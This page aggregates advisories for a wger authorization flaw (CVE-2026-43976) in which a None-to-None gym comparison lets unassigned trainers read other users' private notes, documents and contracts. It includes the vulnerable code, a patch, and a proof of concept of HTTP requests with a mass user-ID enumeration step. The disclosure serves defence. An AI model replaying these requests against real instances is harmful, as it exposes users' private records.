Every CVE Search/ Get API key

CVE-2026-43976

wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)

7.1 High

CVE-2026-43976 is a high vulnerability (CVSS 7.1) in Wger-project Wger, published October 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 12th percentile. No source names a fixed version.

wger is a free, open-source workout and fitness manager. Prior to version 2.6, five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed. Version 2.6 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.22%Unchanged since Oct 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)

wger is a free, open-source workout and fitness manager. Prior to version 2.6, five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed. Version 2.6 fixes the issue.

Record
CVE-2026-43976
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-863
Updated
2026-11-02
EUVDEUVD-2026-94328 7.1

wger is a free, open-source workout and fitness manager. Prior to version 2.6, five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed. Version 2.6 fixes the issue.

Record
EUVD-2026-94328
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-c72h-82w6-rqfp 7.1

wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)

Summary

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints:

  • GET /en/gym/notes/list/user/<member_pk> -> admin notes list view
  • GET /en/gym/documents/list/user/<member_pk> -> documents list view
  • GET /en/gym/contract/list/<member_pk> -> contracts list view
  • GET /en/gym/user/<member_pk>/config -> user config view
  • GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned…
Record
GHSA-c72h-82w6-rqfp
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-863
Updated
2026-11-02
NVD 7.1

wger is a free, open-source workout and fitness manager. Prior to version 2.6, five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed. Version 2.6 fixes the issue.

Record
CVE-2026-43976
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-863
Updated
2026-11-02
OSV 7.1

wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)

wger is a free, open-source workout and fitness manager. Prior to version 2.6, five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed. Version 2.6 fixes the issue.

Record
CVE-2026-43976
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-863
Updated
2026-11-02
OSVGHSA-c72h-82w6-rqfp 7.1

wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)

Summary

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints:

  • GET /en/gym/notes/list/user/<member_pk> -> admin notes list view
  • GET /en/gym/documents/list/user/<member_pk> -> documents list view
  • GET /en/gym/contract/list/<member_pk> -> contracts list view
  • GET /en/gym/user/<member_pk>/config -> user config view
  • GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned…
Record
GHSA-c72h-82w6-rqfp
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-863
Updated
2026-11-02
OSVPYSEC-2026-4313 7.1

wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)

Summary

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints:

  • GET /en/gym/notes/list/user/<member_pk> -> admin notes list view
  • GET /en/gym/documents/list/user/<member_pk> -> documents list view
  • GET /en/gym/contract/list/<member_pk> -> contracts list view
  • GET /en/gym/user/<member_pk>/config -> user config view
  • GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned…
Record
PYSEC-2026-4313
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wger
PyPI
through 2.1 None known
wger
PyPI
through 2.1, plus listed versions
1.11.1.11.21.2rc11.3
Show 8 moreShow less
1.41.51.61.6.11.71.81.92.0
None known

History

History
WhenChangedSources
2026-11-02createdCVE List, EUVD, GitHub Advisories, NVD, OSV

References

Show 4 moreShow less
This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open